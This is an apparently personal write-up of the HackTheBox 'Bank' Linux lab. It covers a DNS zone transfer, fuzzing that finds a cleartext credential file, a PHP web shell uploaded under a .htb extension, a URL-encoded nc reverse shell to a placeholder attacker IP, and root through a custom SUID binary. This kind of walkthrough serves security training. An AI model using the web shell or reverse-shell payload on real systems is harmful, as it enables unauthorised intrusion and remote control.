Skip to content

Bank Writeup - HackTheBox

Easy Linux
Mohammad Meraj

Independent Security Researcher

Bank is a Linux box built around a banking portal. The chain runs: an unrestricted DNS zone transfer that hands over the domain and an account name, a directory of transfer records where one file failed to encrypt and landed on disk in cleartext with the portal password, a debug handler that executes uploaded .htb files as PHP, and a custom SUID binary that drops straight to root.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open $TARGET_IP:22
Open $TARGET_IP:53
Open $TARGET_IP:80
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p22,53,80 $TARGET_IP -oA nmap/nmap
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp open  domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explain command
-sCV Run the default script set and probe service versions.
-T4 Faster timing template, safe against a lab target.
-p22,53,80 Limit the scan to the ports rustscan already found open.

Apache serves nothing but the stock Ubuntu page, so the interesting service is ISC BIND on 53. A DNS server on a Linux host usually means virtual hosts and zone data rather than a domain controller, and the web server is almost certainly waiting on the right hostname.

Enumeration

Finding the domain

A reverse lookup on the address returns nothing, so the domain has to be guessed. The box name is the obvious candidate and the target's own resolver confirms it.

┌──(kali㉿kali)-[~]
└─$ nslookup
┌──(kali㉿kali)-[~]
└─$ > SERVER $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ > bank.htb
Name:   bank.htb
Address: $TARGET_IP

bank.htb resolves against the target itself. With a zone name in hand, the next test is whether BIND hands out the entire zone to anyone who asks.

Zone transfer

┌──(kali㉿kali)-[~]
└─$ dig axfr bank.htb @$TARGET_IP
bank.htb.               604800  IN      SOA     bank.htb. chris.bank.htb. 6 604800 86400 2419200 604800
bank.htb.               604800  IN      NS      ns.bank.htb.
bank.htb.               604800  IN      A       $TARGET_IP
ns.bank.htb.            604800  IN      A       $TARGET_IP
www.bank.htb.           604800  IN      CNAME   bank.htb.
Explain command
axfr bank.htb Request a full zone transfer for the bank.htb zone.
@$TARGET_IP Send the query to the target nameserver instead of the local resolver.

The transfer succeeds, which it should not for an arbitrary client. Beyond confirming the hosts, the SOA record carries the zone contact in DNS notation, chris.bank.htb, which reads as chris@bank.htb. That is a username to keep for later.

Pointing the local resolver at the target keeps bank.htb and any subdomain resolvable for the rest of the box.

nameserver $TARGET_IP

With the vhost reachable, the portal itself can be enumerated.

Content discovery

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://bank.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -mc 200,301
uploads                 [Status: 301]
assets                  [Status: 301]
inc                     [Status: 301]
balance-transfer        [Status: 301]
Explain command
-u http://bank.htb/FUZZ Target URL with FUZZ marking the position to iterate.
-w /usr/share/wordlists/... Wordlist of directory names to try.
-mc 200,301 Only show responses that exist or redirect, filtering out the noise.

/balance-transfer is a directory listing of account records, all named after a hash and all roughly the same size. Sorting the listing by size exposes one outlier that is far smaller than the rest, which is the one worth reading.

Vulnerability Discovery

A transfer record that never got encrypted

┌──(kali㉿kali)-[~]
└─$ curl http://bank.htb/balance-transfer/68576f20e9732f1b2edc4df5b8533230.acc
--ERR ENCRYPT FAILED
+=================+
| HTB Bank Report |
+=================+

===UserAccount===
Full Name: Christos Christopoulos
Email: chris@bank.htb
Password: $CHRISS_PASSWORD
CreditCards: 5
Transactions: 39
Balance: 8842803 .
===UserAccount===

The encryption routine failed on this record and the application wrote the report to disk in cleartext anyway, password included. The account matches the chris@bank.htb identity from the zone transfer, so these credentials belong to a real portal user.

Exploitation

Upload filter bypass

Logging into the portal as chris@bank.htb with the leaked password opens a Support section with a file upload form. The page source carries a developer comment that was never cleaned up.

<!-- [DEBUG] I added the file extension .htb to execute as php for debugging purposes only [DEBUG] -->

Apache is configured to hand .htb files to the PHP interpreter, and the upload filter never considered that extension. A PHP web shell saved as shell.htb passes the filter and still executes.

<?php system($_GET['cmd']); ?>
┌──(kali㉿kali)-[~]
└─$ curl "http://bank.htb/uploads/shell.htb?cmd=whoami"
www-data

Code execution as www-data. Swapping the command for a named pipe reverse shell turns it interactive.

Interactive shell

┌──(kali㉿kali)-[~]
└─$ curl "http://bank.htb/uploads/shell.htb?cmd=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Csh%20-i%202%3E%261%7Cnc%20$ATTACKER_IP%20$ATTACKER_PORT%20%3E%2Ftmp%2Ff"
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 36538
sh: 0: can't access tty; job control turned off
$ whoami
www-data
Explain command
-l Listen for an incoming connection instead of dialing out.
-v Verbose output so the inbound connection is visible.
-n Skip DNS resolution on the connecting address.
-p $ATTACKER_PORT Local port the reverse shell connects back to.

Foothold as www-data, with read access to the user home directory.

Privilege Escalation

SUID binaries

www-data@bank ~ $ find / -type f -user root -perm -4000 2>/dev/null
/var/htb/bin/emergency
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/sudo
<snip>
Explain command
-type f Match regular files only.
-user root Restrict to files owned by root.
-perm -4000 Match the setuid bit, so the binary runs as its owner.

Everything on that list ships with the distribution except /var/htb/bin/emergency. The path and the name both say it was dropped in deliberately.

Abusing the emergency binary

www-data@bank ~ $ ls -la /var/htb/bin/emergency
www-data@bank ~ $ file /var/htb/bin/emergency
-rwsr-xr-x 1 root root 112204 Jun 14  2017 /var/htb/bin/emergency
/var/htb/bin/emergency: setuid ELF 32-bit LSB shared object, Intel 80386

Root owned, setuid, and world executable, so www-data can run it. There is no password prompt and no check on who invoked it.

www-data@bank ~ $ /var/htb/bin/emergency
# whoami
root
# id
uid=0(root) gid=33(www-data) groups=0(root),33(www-data)

Root shell straight out of the binary. Both the user and the root context are done at this point.

References